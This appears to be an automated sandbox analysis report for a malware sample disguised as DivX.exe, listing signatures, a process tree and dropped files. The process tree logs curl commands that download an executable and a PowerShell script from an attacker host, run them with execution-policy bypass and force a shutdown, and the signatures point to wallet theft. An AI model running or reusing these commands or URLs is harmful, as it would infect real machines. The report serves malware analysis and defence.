Analysis
- max time kernel
62s - max time network
64s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
24/10/2026, 16:29
Errors
General
- Target DivX.exe
- Size 1.1MB
- Sample261024-tzeqvavyfv
- SHA256 4ff3bf776ed2d9d62f056bd9d7a6c4a835bd6dabb13d881fe0d42bd76146bbea
Malware Config
Extracted
-
ps1
-
exe.dropper
https://cdm.wovplaying.help/update.zip
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 8 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Drops file in Program Files directory 2 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Modifies data under HKEY_USERS 4 IoCs
- Modifies registry class 3 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 17 IoCs
- Suspicious use of FindShellTrayWindow 5 IoCs
- Suspicious use of SendNotifyMessage 4 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- cURL User-Agent 2 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\DivX.exe"C:\Users\Admin\AppData\Local\Temp\DivX.exe"2⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SYSTEM32\curl.execurl.exe -fs -o "C:\Users\Admin\AppData\Local\Temp\0e5967c80.exe" "https://cdm.wovplaying.help/qua.exe"2⤵
- Downloads MZ/PE file
-
-
C:\Users\Admin\AppData\Local\Temp\0e5967c80.exe"C:\Users\Admin\AppData\Local\Temp\0e5967c80.exe"2⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\curl.execurl.exe -fs -o "C:\Users\Admin\AppData\Local\Temp\0e5973421.ps1" "https://cdm.wovplaying.help/update.ps1"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex bypass -File "C:\Users\Admin\AppData\Local\Temp\0e5973421.ps1"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\update\update.exe"C:\Users\Admin\AppData\Local\Temp\update\update.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c shutdown -s -t 04⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\shutdown.exeshutdown -s -t 05⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /c GamePanel4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\GamePanel.exeGamePanel5⤵
-
-
-
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3a2b855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
0e5967c80.exe
0e5973421.ps1
__PSScriptPolicyTest_thr4ri4p.5u2.ps1
MSVCP140.dll
Qt5Core.dll
Qt5Gui.dll
Qt5Widgets.dll
VCRUNTIME140.dll
VCRUNTIME140_1.dll
msvcp140_1.dll
update.exe
memory/236-74-0x0000026D50CD0000-0x0000026D50CEE000-memory.dmp
memory/236-77-0x0000026D50CD0000-0x0000026D50CE2000-memory.dmp
memory/236-125-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp
memory/236-78-0x0000026D50CB0000-0x0000026D50CBA000-memory.dmp
memory/236-76-0x0000026D50CB0000-0x0000026D50CBA000-memory.dmp
memory/236-75-0x0000026D51250000-0x0000026D51302000-memory.dmp
memory/236-64-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp
memory/236-63-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp
memory/236-62-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp
memory/236-60-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp
memory/236-57-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp
memory/236-56-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp
memory/236-55-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp
memory/236-54-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp
memory/236-53-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp
memory/236-52-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp
memory/236-50-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp
memory/236-48-0x0000026D50C00000-0x0000026D50C22000-memory.dmp
memory/236-47-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp
memory/236-41-0x00007FFC950DF000-0x00007FFC950E0000-memory.dmp
memory/1468-59-0x00007FF623770000-0x00007FF62393B000-memory.dmp
memory/2996-34-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-25-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-21-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-40-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-9-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-12-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-20-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-14-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-15-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-11-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-16-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-19-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-18-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-22-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-23-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-24-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-58-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-31-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-26-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-8-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-30-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-2-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-35-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-27-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-33-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-32-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-28-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-10-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-0-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-7-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-1-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-3-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-4-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-5-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-6-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-130-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-29-0x0000000003500000-0x00000000035A2000-memory.dmp
memory/2996-129-0x0000000000A20000-0x0000000000A21000-memory.dmp
memory/2996-127-0x0000000002C60000-0x0000000002C61000-memory.dmp
memory/4652-123-0x0000000180000000-0x0000000180541000-memory.dmp
memory/4652-122-0x0000000180000000-0x0000000180541000-memory.dmp